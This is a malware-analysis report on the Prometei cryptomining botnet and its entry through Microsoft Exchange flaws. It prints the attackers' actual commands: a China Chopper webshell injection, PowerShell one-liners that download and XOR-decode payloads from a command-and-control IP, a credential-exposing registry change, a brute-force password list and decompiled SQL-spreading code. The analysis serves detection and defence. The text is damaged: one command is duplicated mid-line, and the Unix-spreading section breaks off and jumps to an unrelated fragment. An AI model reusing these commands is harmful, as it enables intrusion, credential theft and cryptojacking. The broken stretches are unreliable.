

Prometei Botnet Exploiting Microsoft Exchange Vulnerabilities

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Recently, the [Cybereason Nocturnus Team](#) responded to several incident response (IR) cases involving infections of the Prometei Botnet against companies in North America, observing that the attackers exploited recently published Microsoft Exchange vulnerabilities ([CVE-2021-27065](#) and [CVE-2021-26858](#)) in order to penetrate the network and install malware.


Prometei is a modular and multi-stage [cryptocurrency botnet that was first discovered in July 2020](#) which has both Windows and [Linux](#) versions. To achieve their goal of mining Monero coins, Prometei uses different techniques and tools, ranging from Mimikatz to SMB and RDP exploits and other tools that all work together to propagate across the network.

Although Prometei was officially discovered in mid-2020, the Cybereason Nocturnus Team found evidence that Prometei might date back as far as 2016 and has been evolving ever since, adding new modules and techniques to its capabilities. The latest versions of Prometei now provide the attackers with a sophisticated and stealthy backdoor that supports a wide range of tasks that make mining Monero coins the least of the victims' concerns.

This report will present the findings of our investigation of the attacks, including the initial foothold sequence of the attackers, the functionality of the different components of the malware, the threat actors' origin and the bot's infrastructure.

Key Findings

- **Exploiting Microsoft Exchange Vulnerabilities:** Prometei exploits the recently disclosed Microsoft [Exchange vulnerabilities associated with the HAFNIUM attacks](#) to penetrate the network for malware deployment, credential harvesting and more.
- **Wide range of Victims:** The victimology is quite random and opportunistic rather than highly targeted, which makes it even more dangerous and widespread. Prometei has been observed to be active in systems across a variety of industries, including: Finance, Insurance, Retail, Manufacturing, Utilities, Travel, and Construction. It has been observed infecting networks in the U.S., UK and many other European countries, as well as countries in South America and East Asia. It was also observed that the threat actors appear to be explicitly avoiding infecting targets in former Soviet bloc countries.
- **Exploiting SMB and RDP Vulnerabilities:** The main objective of Prometei is to install the Monero miner component on as many endpoints as it can. To do so, Prometei needs to spread across the network - and for that, it uses many techniques such as known exploits EternalBlue and BlueKeep, harvesting credentials, exploiting SMB and RDP exploits, and other components such as SSH client and SQL spreader.
- **Cross-Platform Threat:** Prometei has both Windows-based and Linux-Unix based versions, and it adjusts its payload based on the detected operating system, on the targeted infected machines when spreading across the network.
- **Cybercrime with APT Flavor:** Threat actors in the cybercrime community continue to adopt APT-like techniques and improve the efficiency of their operations. It is assessed that the Prometei group is financially motivated and operated by Russian-speaking individuals but is not backed by a nation-state. By exploiting the computing resources of multiple endpoints to mine bitcoin, the threat actors behind Prometei can earn hefty sums of cryptocurrency over time.
- **Resilient C2 Infrastructure:** Prometei is built to interact with four different command and control (C2) servers which strengthens the botnet's infrastructure and maintains continuous communications, making it more resistant to takedowns.
- **Older than it Seems:** The Prometei Botnet was first discovered in July 2020, but new evidence shows it was seen in the wild as far back as 2016. The Prometei Botnet is continuously evolving, with new features and tools observed in the newer versions.



Attack sequence diagram

Initial Compromise: Exploitation of the Microsoft Exchange Vulnerability

During the IR investigation, the Nocturnus Team was able to identify the initial compromise vector, in which the attackers exploited the recently discovered vulnerabilities in Microsoft Exchange server, which allowed them to perform remote code execution by exploiting the following CVEs: [CVE-2021-27065](#) and [CVE-2021-26858](#).

The attackers used this vulnerability to install and execute the [China Chopper webshell](#) via the following commands:

Set-OabVirtualDirectory with the Parameters: -ExternalUrl "http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>" -Identity "OAB (Default Web Site)"

```
$d=[System.Convert]::FromBase64String("PCVAIFBhZ2UgTGZ3VhZ2U9IkMjliBFbmFibGVWaWV3U3RhdGU9ImZhbHNlIiAIPg0KPCVAIEltcG9yd[io.file]::WriteAllBytes('C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\<file_name>.aspx',$d);
```


Once the attackers gained access to the network, they deleted the .aspx webshell file to cover their tracks:

```
cmd.exe /c del "C:\Program Files\Microsoft\Exchange Server\V15\frontend\httpproxy\owa\auth\<file_name>.aspx"
```

Using the webshell, the attackers launched a PowerShell that was then used to download a payload from the following URL:

```
http://178.21.164[.]68/dwn.php?b64=1&d=nethost64C.exe&B=_AMD64,<machine_name>
```

The payload is then saved as C:\windows\zsvc.exe and executed. This is the start of the Prometei botnet execution:



Attack tree of the initial infection vector as observed in the Cybereason XDR Platform

The Prometei Botnet

When the first module of the botnet, `zsvc.exe`, is executed, it starts to “prepare the ground” for the other modules:

- It copies itself into C:\Windows with the name “sqhst.exe”
- It uses Netsh commands to add a firewall rule that will allow `sqhst.exe` to create connections over HTTP
- It checks if there is a registry key named “UPlugPlay”, and if present it deletes it
- It sets a registry key for persistence as `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UPlugPlay` with the image path and command line `C:\windows\sqhst.exe Dcomsvc`
- It creates several registry keys under `SOFTWARE\Microsoft\Fax\` and `SOFTWARE\Intel\support\` with the names `MachineKeyId`, `EncryptedMachineKeyId` and `CommlId`, for later use by the different components for C2 communication.

Sqhst.exe

`Sqhst.exe` is the main bot module, complete with backdoor capabilities that support a wide range of commands. `Sqhst.exe` is able to parse the `prometei.cgi` file from 4 different hardcoded command and control servers. The file contains the command to be executed on the machine. The commands can be used as “stand-alone” native OS commands (`cmd` commands, `WMI`, etc.) or can be used to interact with the other modules of the malware located under `C:\Windows\dell`



Embedded C2 domains in Sqghost.exe

Sqghost supports the following commands:


- **Call** - Execute a program or a file
- **Start_mining** - launch SearchIndexer.exe (the miner) with the file C:\windows\del\Desktop.dat as its parameters
- **Start_mining1** - request C:\windows\del\Desktop.dat from the C2, and then launch SearchIndexer.exe (the miner) with the file C:\windows\del\Desktop.dat as its parameters
- **Stop_mining** - runs cmd.exe with command: "/c taskkill -f -im SearchIndexer.exe"
- **Wget** - download a file
- **Xwget** - download a file, save it, and use XOR to decrypt it
- **Quit** - terminate the bot execution using TerminateProcess
- **Quit2** - terminate the bot execution without using TerminateProcess
- **Sysinfo** - collect information about the machine (using native APIs and WMIC)
- **Exec** - execute a command
- **Ver** - return the bot version
- **Enc** - get/set the RC4 encryption key
- **Extip** - return the bot's external IP address
- **Chkport** - check if a specific port is open
- **Search** - search for files by name (potentially crypto currency wallets)
- **Set_timeout** - set a period of time for connecting to C2 server
- **Touch** - open a file
- **Touch_internal** - edit a file with a single byte to change access times
- **Touch_stop** - close a file
- **Update** - update the bot version
- **Set_Autoexec2** - set an automatic execution
- **Set_Autoexec1** - set an automatic execution
- **Set_cc1** - set a C2 server
- **Set_cc0** - set a C2 server

```

:0000000140046B90 aSetTimeout      db 'set_timeout',0
:0000000140046B9C          align 20h
:0000000140046BA0 aSetCc0         db 'set_cc0',0
:0000000140046BA8 aSetCc1         db 'set_cc1',0
:0000000140046BB0 aSetAutoexec1  db 'set_autoexec1',0
:0000000140046BBE          align 20h
:0000000140046BC0 aSetAutoexec2  db 'set_autoexec2',0
:0000000140046BCE          align 10h
:0000000140046BD0 aTouchInternal db 'touch_internal',0
:0000000140046BDF          align 20h
:0000000140046BE0 aTouchStop     db 'touch_stop',0
:0000000140046BEB          align 4
:0000000140046BEC aWget          db 'wget',0
:0000000140046BF1          align 4
:0000000140046BF4 aXwget         db 'xwget',0
:0000000140046BFA          align 20h
:0000000140046C00 aStopMining    db 'stop_mining',0
:0000000140046C0C          align 10h
:0000000140046C10 aStartMining   db 'start_mining',0
:0000000140046C1D          align 20h
:0000000140046C20 aStartMining1  db 'start_mining1',0
:0000000140046C2E          align 10h
:0000000140046C30 aQuit          db 'quit',0
:0000000140046C35          align 8
:0000000140046C38 aQuit2         db 'quit2',0
    
```

Some of the tasks supported by Sqhst.exe

The execution of the malware encountered in the investigation shows activities performed by the attackers which included tree processes: cmd.exe, sqhst.exe and wmic.exe:



Attack tree of the infection as observed in the Cybereason Defense platform

CMD.exe: was used to execute the following commands (some of the commands are broken into individual commands for readability):

<pre>Auditpol /set /subcategory:"Logon" /failure:enable</pre>	Configuring Microsoft Windows Server to log all failed logons using auditpol
<ul style="list-style-type: none"> netsh advfirewall firewall delete rule name="Banned brute IPs" netsh advfirewall firewall add rule name="Banned brute IPs" dir=in interface=any action=block localip=68.12.114.202,71.181.80.24,179.52.245.208,24.0.176.79,68.161.157.243, 	Blocking certain IP addresses from communicating with the machine. We assess that those IP

<ul style="list-style-type: none"> netsh advfirewall firewall add rule name="Banned brute IPs" dir=in interface=any action=block remoteip=68.12.114.202,71.181.80.24,179.52.245.208,24.0.176.79,68.161.157.243, 	<p>addresses are used by other malware, potentially Miners, and the attackers behind Prometei wanted to ensure that all the resources of the network are available just for them.</p>
<pre>powershell.exe "if(-not (Test-Path 'C:\windows\ExchDefender.exe')) {\$b64=\$(New-Object Net.WebClient).DownloadString('http://178.21.164.68/dwn.php?d=ExchDefender.exe&b64=1');\$data=[System.Convert]::FromBase64String(\$b64);\$bt=New-Object Byte[](\$data.Length);[int]\$j=0;FOR([int]\$i=0;\$i -lt \$data.Length; \$i++){\$j+=66;\$bt[\$i]=((((\$data[\$i]) -bxor (((\$i*3) -band 0xFF))-\$j) -band 0xFF);}[io.file]::WriteAllBytes('C:\windows\del\ExchDefender.exe',\$bt);"</pre>	<p>Downloading ExchDefender.exe, an additional module of the botnet into C:\Windows\del and executes it.</p>
<pre>powershell.exe "if(-not (Test-Path 'rdpclip.exe')) {\$b64=\$(New-Object Net.WebClient).DownloadString('http://178.21.164.68/walk278_64.php');\$data=[System.Convert]::FromBase64String(\$b64);\$bt=New-Object Byte[](\$data.Length);[int]\$j=0;FOR([int]\$i=0;\$i -lt \$data.Length; \$i++){\$j+=66;\$bt[\$i]=((((\$data[\$i]) -bxor (((\$i*3) -band 0xFF))-\$j) -band 0xFF);}[io.file]::WriteAllBytes('rdpclip.exe',\$bt);"&C:\Windows\svchost.exe /sha1chk 381C17131D13E1203C91720870ECB441F5BE297E miwalk.exe&sqhst.exe /sha1chk 381C17131D13E1203C91720870ECB441F5BE297E miwalk.exe&C:\Windows\svchost.exe /sha1chk 9623DCD8836C481AA44AE84499F20E2439941A4B rdpclip.exe&sqhst.exe /sha1chk 9623DCD8836C481AA44AE84499F20E2439941A4B rdpclip.exe&rdpclip.exe"</pre>	<p>Downloading rdpclip.exe, an additional module of the botnet into C:\Windows and executes it.</p>
<pre>taskkill -f -im rdpclip.exe&del rdpclip.exe&powershell.exe "if(-not (Test-Path '7z.dll')) {(New-Object Net.WebClient).DownloadFile('http://178.21.164.68/7z.dll','7z.dll');if(-not (Test-Path '7z.exe')) {(New-Object Net.WebClient).DownloadFile('http://178.21.164.68/7z.exe','7z.exe');}(New-Object Net.WebClient).DownloadFile('http://178.21.164.68/netwalker2.7z','netwalker.7z');"&7z x netwalker.7z -phorhor123 -y&del netwalker.7z</pre>	<p>Downloading 7z.exe and an archived file, Netwalker.7z and use the 7zip executable to extract the files in the archive.</p>
<pre>taskkill -f -im rdpclip.exe&ping -n 3 127.0.0.1&C:\Windows\svchost.exe /sha1chk 9623DCD8836C481AA44AE84499F20E2439941A4B rdpclip.exe&sqhst.exe /sha1chk 9623DCD8836C481AA44AE84499F20E2439941A4B rdpclip.exe&powershell.exe "if(-not (Test-Path 'miwalk.exe')) {\$b64=\$(New-Object Net.WebClient).DownloadString('http://178.21.164.68/mi64.php');\$data=[System.Convert]::FromBase64String(\$b64);\$bt=New-Object Byte[](\$data.Length);[int]\$j=0;FOR([int]\$i=0;\$i -lt \$data.Length; \$i++){\$j+=66;taskkill -f -im rdpclip.exe&ping -n 3 127.0.0.1&C:\Windows\svchost.exe /sha1chk 9623DCD8836C481AA44AE84499F20E2439941A4B rdpclip.exe&sqhst.exe /sha1chk 9623DCD8836C481AA44AE84499F20E2439941A4B rdpclip.exe&powershell.exe "if(-not (Test-Path 'miwalk.exe')) {\$b64=\$(New-Object Net.WebClient).DownloadString('http://178.21.164.68/mi64.php');\$data=[System.Convert]::FromBase64String(\$b64);\$bt=New-Object Byte[](\$data.Length);[int]\$j=0;FOR([int]\$i=0;\$i -lt \$data.Length; \$i++){\$j+=66;\$bt[\$i]=((((\$data[\$i]) -bxor (((\$i*3) -band 0xFF))-\$j) -band 0xFF);}[io.file]::WriteAllBytes('miwalk.exe',\$bt);"</pre>	<p>Downloading miwalk.exe, an additional module of the botnet into C:\Windows\.</p>

In addition, it appears the attackers attempted to execute C:\Windows\svchost.exe, which is the same file as sqhst.exe, and the attackers named it as svchost in earlier versions, but it wasn't downloaded in the attack or in existence by this name. The reference for "svchost.exe" resides in different components of the malware, sometimes even in addition to "sqhst". Our assumption is that it is used either for backwards-compatibility or it is the case that the attackers didn't bother to change it in some places after renaming the main bot module to "sqhst.exe".


- **Sqhst.exe:** executed with "-watchdog" parameter, to make sure that it will keep running on the system.
- **Wmic.exe:** was used to perform reconnaissance commands:

- wmic ComputerSystem get Model
- wmic OS get lastbootuptime
- wmic baseboard get product
- wmic os get caption

ExchDefender.exe

Exchdefender tries to masquerade as a “Microsoft Exchange Defender”, a non-existent program that masquerades as a legitimate Microsoft product.

When first executed, it creates a service named “Microsoft Exchange Defender” [MSEExchangeDefenderPL] that is set to execute the binary (from C:\Windows) with the same command line as seen used with sqhost.exe - “Dcomsvc”:



Output of running Exchdefender.exe




Service name and command line used to execute Exchdefender.exe

Exchdefender constantly checks the files within the directory C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth, a known directory to be used to host WebShells. The malware is specifically interested in the file “ExpiredPasswords.aspx” which was reported to be the name used to obscure the [HyperShell backdoor used by APT34](#) (aka. OilRig). If the file exists, the malware immediately deletes it.

Our assessment is that this tool is used to “protect” the compromised Exchange Server by deleting potential WebShells so Prometei will remain the only malware using its resources.


SearchIndexer.exe

SearchIndexer.exe is an [open source Monero mining software](#) (XMRig miner). It is executed with the content from “desktop.dat” file as a parameter, which contains the mining server and the username for the mining server:



Content of Desktop.dat

Following the investigation, it appears that the user is “banned due to reports of botnet mining” from around March 2021, and it’s very likely that the attackers have changed the user already:



A message showing that the user was banned

Netwalker:7z

The Netwalker.7z archive downloaded from the C2 178.21.164[.]68 is password protected, using the password "horhor123". The content of the archive is saved under C:\Windows\dell, together with the other components of the bot. The archive contains the following files: Nethelper2.exe, Nethelper4.exe, Windrivr.exe, a few DLLs, a copy of Rdpclip.exe and a few DLLs used by the bot components:

libcrypto-1_1.dll	22/01/2020 12:59	Application extension	1,741 KB
libssp-0.dll	22/01/2020 12:59	Application extension	89 KB
Mono.Security2.dll	01/09/2014 10:18	Application extension	292 KB
Mono.Security4.dll	01/09/2014 10:18	Application extension	294 KB
nethelper2.exe	22/02/2021 22:13	Application	22 KB
nethelper4.exe	22/02/2021 22:13	Application	22 KB
Npgsql2.dll	07/01/2021 22:44	Application extension	398 KB
Npgsql4.dll	09/01/2021 02:33	Application extension	344 KB
rdpclip.exe	17/03/2021 04:54	Application	98 KB
windrivr.exe	23/02/2021 15:50	Application	279 KB

Content of Netwalker.7z

Rdpclip.exe

Rdpclip.exe (with a capital "I" instead of a lowercase "L") is both downloaded directly by sqhst.exe and is also contained in the Netwalker.7z archive. It is a key component of the malware. It has huge (trust us, *huge*) functionality with different branches with the main purpose being to interact with other components of the malware and make them work all together.

Rdpclip is responsible for some of the most important functions of the malware - harvesting credentials (using another component called Miwalk.exe) and spreading across the network using the stolen credentials as well as using the SMB exploit [EternalBlue](#) and the RDP exploit [BlueKeep](#).

Harvesting Credentials For Spreading

To harvest credentials, Rdpclip.exe launches another component, Miwalk.exe, a customized version of [Mimikatz](#). The output is saved to ssldata2.dll and ssldata2_old.dll, which are text files, and Rdpclip reads those files and tries to validate the credentials and use them for spreading across the network.

In addition, Rdpclip.exe also changes the following registry key to 1 so the credentials are stored in memory and retrieved using techniques employed by Miwalk.exe:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential

```

push    offset Directory ; lpDirectory
push    offset Parameters ; "/C reg add \"HKEY_LOCAL_MACHINE\SYSTEM'
push    offset aCmdExe ; "cmd.exe"
; CHAR Parameters[]
Parameters db '/C reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\S'
; DATA XREF: WinMain(x,x,x,x)+443to
db 'ecurityProviders\WDigest' /v UseLogonCredential /f /t REG_DWORD /'
db 'd 1',0
push    offset Directory ; lpParameters
push    offset aCWindowsDellMi ; "C:\\windows\\dell\\miwalk.exe"
push    offset Operation ; "open"
push    0 ; hwnd
call    esi ; ShellExecuteA
    
```

Changing the registry key "UseLogonCredential"

```

movdqu xmm0, xmmword ptr ds:aCWindowsDellSs_0 ; "C:\\windows\\dell\\ssldata2.dll"
movdqu xmmword ptr [esp+2EA50h+Filename], xmm0
movq    xmm0, qword ptr ds:aCWindowsDellSs_0+10h ; "ssldata2.dll"
movq    [esp+2EA50h+var_2E8B0], xmm0
mov     al, byte ptr ds:aCWindowsDellSs_0+1Ch ; ""
movdqu xmm0, xmmword ptr ds:aCWindowsDellSs ; "C:\\windows\\dell\\ssldata2_old.dll"
    
```

Reading the contents of ssldata2.dll and ssldata2_old.dll

In addition to using the harvested credentials, Rdpclip also tries to spread across the network by brute-forcing the usernames and passwords using a built-in list of common combinations:

```
call    __alloca_probe
push   ebx
push   esi
push   edi
mov    ebx, ecx
lea   edi, [ebp+var_590]
mov    ecx, 0D9h
mov    esi, offset a123456Password ; "123456|passwo
a123456Password db '123456|password|PASSWORD|admin@123|Aa123456|qwer12345|Huawei@123|'
; DATA XREF: sub_417780+1Df0
db '123@abc|golden|123!@#qwe|1qaz@WSX|Ab123|1qaz!QAZ|Admin123|Adminis'
db 'trator|Abc123|Admin@123|Passw0rd|123qwe!@#|football|welcome|1|12|'
db '21|123|321|1234|12345|123123|123321|111111|654321|666666|121212|0'
db '00000|22222|888888|1111|555555|1234567|12345678|123456789|987654'
db '321|admin|root|abc123|abcd1234|abcd@1234|abc@123|p@ssword|P@sswor'
db 'd|p@ssw0rd|P@ssw0rd|P@SSWORD|P@SSWORD|P@w0rd|P@word|iloveyou|monk'
db 'ey|login|passw0rd|master|hello|qazwsx|password1|qwerty|Qwerty1|Qw'
db 'erty2|baseball|qwertyuiop|superman|1qaz2wsx|123qwe|zxcvbn|pass|aa'
call    _memset
```

A list of common usernames and passwords embedded in Rdpclip.exe

Network Spreading by Exploiting Vulnerabilities

If Rdpclip can't spread to other machines using the stolen credentials, it uses the EternalBlue exploit and sends a shellcode to install and launch the main bot module Sqhost.exe. To use the exploit, the malware downgrades the SMB protocol to SMB1, which is vulnerable to the exploit:

```
loc_14001299B:    ; nShowCmd
mov     [rsp+2A00h+nShowCmd], 1
mov     [rsp+2A00h+lpDirectory], rbx ; lpDirectory
lea     r9, aCPowershellSet ; "/C powershell Set-SmbServerConfiguratio"...
; CHAR aCPowershellSet[]
aCPowershellSet db '/C powershell Set-SmbServerConfiguration -EnableSMB1Protocol $fal'
; DATA XREF: sub_140012430+57810
db 'se -Confirm:$false',0
```

Downgrading the SMB protocol to version 1

To use the RDP exploit BlueKeep, the malware uses another component, Bklocal2.exe / Bklocal4.exe (Depending on the OS version), which is also downloaded by Sqhost and located in C:\Windows\dell:

```

mov     [esp+esi+2EA50h+var_2D00], eax
mov     ax, word ptr [esp+2EA50h+var_2E9F0+4]
movq   xmm0, qword ptr ds:aBklocal2Exe ; "bklocal2.exe"
mov     [esp+esi+2EA50h+var_2DC84], ax
mov     al, byte ptr [esp+2EA50h+var_2E9F0+6]
mov     [esp+esi+2EA50h+var_2DC82], al
mov     al, byte ptr ds:aBklocal2Exe+0Ch ; ""
movq   qword ptr [esp+esi+2EA50h+var_2DC98], xmm0
push   400h ; Size
mov     dword ptr [esp+esi+2EA54h+var_2DC98+8], edi
mov     [esp+esi+2EA54h+var_2DC98+0Ch], al
lea    eax, [esp+2EA54h+var_2BC98]
push   0 ; Val
push   eax ; Dst
call   _memset
add    esp, 0Ch
test   esi, esi
jz     short loc_41D098

```

```

push   esi ; Size
lea    eax, [esp+2EA54h+var_2BC98]
push   offset byte_43BC80 ; Src
push   eax ; Dst
call   _memmove
add    esp, 0Ch

```

```

loc_41D098:
movdqa xmm0, [esp+2EA50h+var_2EA00]
mov     eax, dword ptr [esp+2EA50h+var_2E9F0]
movdqu xmmword ptr [esp+esi+2EA50h+var_2BC98], xmm0
mov     [esp+esi+2EA50h+var_2BC88], eax
mov     ax, word ptr [esp+2EA50h+var_2E9F0+4]
movq   xmm0, qword ptr ds:aBklocal4Exe ; "bklocal4.exe"
mov     [esp+esi+2EA50h+var_2BC84], ax
mov     al, byte ptr [esp+2EA50h+var_2E9F0+6]

```

Executing the BlueKeep exploit binaries

Preparing the Ground for Other Components

Rdpclip also prepares the ground for other components of the bot such as Nethelper, the SQL spreader, Windriver, and the SSH client.

It checks if the dependencies for the files are all set, including [Mono.security.dll](#) and [Npgsql.dll](#). If not, it will download and copy the files to the right folder. Eventually, Rdpclip will execute the components as child processes and use them for its main purpose - spreading:

```

add     esp, 4
push   offset ar ; ""
push   offset ExistingFileName ; "Npgsql.dll"
call   _fopen
add    esp, 8
test   eax, eax
jz     short loc_41C5F5

loc_41C5F5:
push   eax ; File
call   _fclose
mov     esi, ds:CopyFile4
add    esp, 4
push   0 ; bFailIfExists
push   offset NewFileName ; "Npgsql.dll"
push   offset ExistingFileName ; "Npgsql4.dll"
call   esi ; CopyFile4
jmp    short loc_41C5F8

loc_41C5F8:
push   offset ar ; ""
push   offset aMonoSecurity01 ; "Mono.Security.dll"
call   _fopen
add    esp, 8
test   eax, eax
jz     loc_41C658

loc_41C658:
push   offset ar ; ""
push   offset aMonoSecurity40 ; "Mono.Security4.dll"
call   _fopen
add    esp, 8
test   eax, eax
jz     loc_41C764

loc_41C6D4:
push   offset ar ; ""
push   offset aNpgsql2011 ; "Npgsql2.dll"
call   _fopen
add    esp, 8
test   eax, eax
jz     short loc_41C6D4

loc_41C6D4:
push   eax ; File
call   _fclose
mov     esi, ds:CopyFile4
add    esp, 4
push   0 ; bFailIfExists
push   offset NewFileName ; "Npgsql.dll"
push   offset aNpgsql2011 ; "Npgsql2.dll"
call   esi ; CopyFile4
jmp    short loc_41C6D4

loc_41C737:
push   offset ar ; ""
push   offset aMonoSecurity2D ; "Mono.Security2.dll"
call   _fopen
add    esp, 8
test   eax, eax
jz     short loc_41C764

loc_41C764:
push   eax ; File
call   _fclose
add    esp, 4
push   0 ; bFailIfExists
push   offset aMonoSecurity01 ; "Mono.Security.dll"
push   offset aMonoSecurity40 ; "Mono.Security4.dll"
push   offset aMonoSecurity2D ; "Mono.Security2.dll"

```

Preparing the ground for Nethelper

Nethelper2.exe and Nethelper4.exe

NetHelper is a .NET-based executable that is obfuscated using [CryptoObfuscator](#) protector. The main purpose of this module is to create connections to SQL servers in the network and try to infect them with the main module, Sqhst.

To do so, the malware uses the Npgsql library, a .Net data provider for [PostgreSQL](#), and [Mono](#), a software platform designed to allow developers to easily create cross platform applications. It checks the arguments received which contain the SQL server found in the network and credentials harvested before. The malware then tries to create connection to the server using port 1433 (default for SQL servers) and 5432 (used for PostgreSQL):

```
private static void smethod_8(string string_1, string string_2, string string_3, string string_4)
{
    string text = "1433";
    string connectionString = string.Concat(new string[]
    {
        "Data Source=",
        string_1,
        ",",
        text,
        ";Integrated Security=false;User ID=",
        string_2,
        ";Password=",
        string_3,
        ";Persist Security Info=True;"
    });
    SqlConnection sqlConnection = new SqlConnection(connectionString);
    string cmdText = string.Concat(new string[]
```

Creates connection to SQL server on port 1433

```
private static int smethod_6(string string_1, string string_2, string string_3, int int_0 = 5432)
{
    try
    {
        string text = string.Concat(new string[]
        {
            "Host=",
            string_1,
            ";Username=",
            string_3,
            ";Password=",
            string_2,
            ";Database=postgres"
        });
        NpgsqlConnection npgsqlConnection = new NpgsqlConnection(text);
        npgsqlConnection.Open();
        return 2;
    }
}
```

Creates connection to PostgreSQL server on port 5432

If successful, the malware checks the operating system of the SQL server, and operate accordingly:

- If the OS is Windows - uses PowerShell command to download "zsvc.exe" (Sqhst.exe):

```
if (text2.IndexOf("32") != -1)
{
    text2 = "Win32";
}
else
{
    text2 = "Win64";
}
Class0.smethod_3(npgsqlConnection, string.Concat(new string[]
{
    "powershell \"'p='zsvc.exe';(New-Object Net.WebClient).DownloadFile('http://",
    string_4,
    "/k.php?a=",
    text2,
    "&B=%PROCESSOR_ARCHITECTURE%,%COMPUTERNAME%",
    Class0.string_0,
    "P', $p);$d=[IO.File]::ReadAllBytes($p);$t=New-Object Byte[]($d.Length);[int]$j=0;for([int]$i=0;$i -
    lt $d.Length;$i++){$j+=66;$t[$i]=($d[$i] -bxor ($i*3 -band 255))- $j) -band 255;}
    [io.file]::WriteAllBytes($p,$t);\"&zsvc.exe"
}));
```

Downloading Prometei main module on a windows machine using PowerShell

- If the OS is Unix based - uses one of the following: Curl / Wget / Nexec:

since at least 2016.

Following the infrastructure of the botnet, most of which was taken down by authorities, we were able to find the following:

- A Prometei.cgi file that contains the command “ver” (show the bot version), which was found in the wild in May 2016:

History ⓘ

First Submission	2016-05-10 21:10:08
Last Submission	2016-05-10 21:10:08
Last Analysis	2016-05-10 21:10:08

Names ⓘ

prometei.cgi

VT screenshot: [SHA-256: cf542ada135ee3edcbe7b31003192c75295c7eff0efe7593a0a0b0f792d5256](#)

- In 2017, the attackers named the main component “download.exe” (later changed to “svchost.exe” and now “ghost.exe”). They also used a certificate to sign the binaries:

<p>History ⓘ</p> <table style="width: 100%; border-collapse: collapse;"> <tr> <td style="width: 30%;">Creation Time</td> <td>2017-05-27 19:59:45</td> </tr> <tr> <td>Signature Date</td> <td>2017-05-27 20:03:00</td> </tr> <tr> <td>First Submission</td> <td>2017-05-30 20:05:57</td> </tr> </table>	Creation Time	2017-05-27 19:59:45	Signature Date	2017-05-27 20:03:00	First Submission	2017-05-30 20:05:57	<p>Signers</p> <ul style="list-style-type: none"> — Numtel Corporation <table style="width: 100%; border-collapse: collapse;"> <tr> <td style="width: 30%;">Name</td> <td>Numtel Corporation</td> </tr> <tr> <td>Status</td> <td>The certificate or certificate chain is based on an untrusted root.</td> </tr> <tr> <td>Issuer</td> <td>Numtel Corporation</td> </tr> <tr> <td>Valid From</td> <td>01:21 AM 03/13/2017</td> </tr> <tr> <td>Valid To</td> <td>11:59 PM 12/31/2039</td> </tr> <tr> <td>Valid Usage</td> <td>Code Signing</td> </tr> <tr> <td>Algorithm</td> <td>sha1RSA</td> </tr> <tr> <td>Thumbprint</td> <td>61053BA8EF673DDD970C4A55121DBEF07D3CBE9E</td> </tr> <tr> <td>Serial Number</td> <td>BF 59 54 00 FD A2 6A A8 4F A2 60 74 01 39 36 FA</td> </tr> </table>	Name	Numtel Corporation	Status	The certificate or certificate chain is based on an untrusted root.	Issuer	Numtel Corporation	Valid From	01:21 AM 03/13/2017	Valid To	11:59 PM 12/31/2039	Valid Usage	Code Signing	Algorithm	sha1RSA	Thumbprint	61053BA8EF673DDD970C4A55121DBEF07D3CBE9E	Serial Number	BF 59 54 00 FD A2 6A A8 4F A2 60 74 01 39 36 FA
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Valid To	11:59 PM 12/31/2039																								
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Serial Number	BF 59 54 00 FD A2 6A A8 4F A2 60 74 01 39 36 FA																								
<p>Names ⓘ</p> <hr/> <p>svchost.exe</p> <p>Download.exe</p>																									

VT screenshot: [SHA-256: fdcf4887a2ace73b87d1d906b23862c0510f4719a6c159d1cde48075a987a52f](#)

Every Tool and its Own PDB

The Prometei Botnet evolved over the years by adding new tools and expanding its supported commands. In 2019, it appears that the malware was significantly updated with a lot of tools added in a short period of time. In our analysis we didn’t go over all the tools, since the attackers don’t always use them all, and it can change from one attack to another. Our research revealed a shared PDB pattern used for the tools, that also reveals some information about them, such as purpose and obfuscator used:

- C:\WORK\Tools_2019\walker\DOTNETPlugin\pgbrute\bin\Release\CryptoObfuscator_Output\nethelper.pdb
- C:\WORK\Tools_2019\walker\bklocal\BlueKeep\bin\Release\CryptoObfuscator_Output\BlueKeep.pdb
- C:\Work\Tools_2019\walker\netwalker\x64\Release\rdpclip.pdb
- C:\Work\Tools_2019\prometei\rdpexec\psexec\Release\psexec.pdb
- C:\Work\Tools_2019\prometei\rdpexec\shift - bot\Release\shift.pdb
- C:\Work\Tools_2019\prometei\scan_rdp\rdp_checker\MyRDP\SampleRDC\bin\Release\CryptoObfuscator_Output\socks.pdb
- C:\WORK\Tools_2019\prometei\RDPBrute2016.NET\RDPDetect\bin\Release\CryptoObfuscator_Output\nvsnyc.pdb
- C:\WORK\Tools_2019\prometei\invstub\Release\invstub.pdb
- C:\Work\Tools_2019\prometei\invstub\Release\invstub.pdb
- C:\Work\Tools_2019\prometei\scan_rdp\rdp_checker\RDPDetect (rdp_checker)\RDPDetect\bin\Release\CryptoObfuscator_Output\nethost.pdb
- C:\Work\Tools_2019\prometei\psbrute\Release\psbrute.pdb
- C:\Work\Tools_2019\prometei\RDPBrute2016.NET\RDPDetect\bin\Release\CryptoObfuscator_Output\nvsnyc.pdb

C:\Work\Tools_2019\prometei\rdpexec\shift - bot\Release\shift.pdb

C:\Work\Tools_2019\misc\tor_hidden_svc\darkread\x64\Release\darkread.pdb

C:\Work\Tools_2019\misc\util\chk445\Release\chk445.pdb

C:\Work\Tools_2019\misc\util\crawler\Release\crawler.pdb

The Threat Actor

Not much is known about the threat actor behind Prometei. We were able to collect evidence that suggests the threat actors are Russian speaking, and in addition it appears that they attempt to avoid infecting other Russians Speakers. We also can not ignore the name of the bot - "Prometei", which is the Russian word for Prometheus, the Titan god of fire from the Greek mythology.

In addition, in the older versions of the malware created back in 2016, there were a few samples of "svchost.exe" (the main bot module) that the author of the malware forgot to edit the "product name" and left it in Russian. Also, some of the files have a language code "Russian":

File Version Information	ExifTool File Metadata
Copyright Copyright (C) 2016	SubsystemVersion 6
Product TODO: <Имя продукта>	InitializedDataSize 4096
Description Host Process for Windows Services	ImageVersion 0
Original Name Download.exe	FileSubtype 0
Internal Name svchost.exe	FileVersionNumber 1.0.0.1
File Version 1.0.0.1	LanguageCode Russian
	InternalName svchost.exe
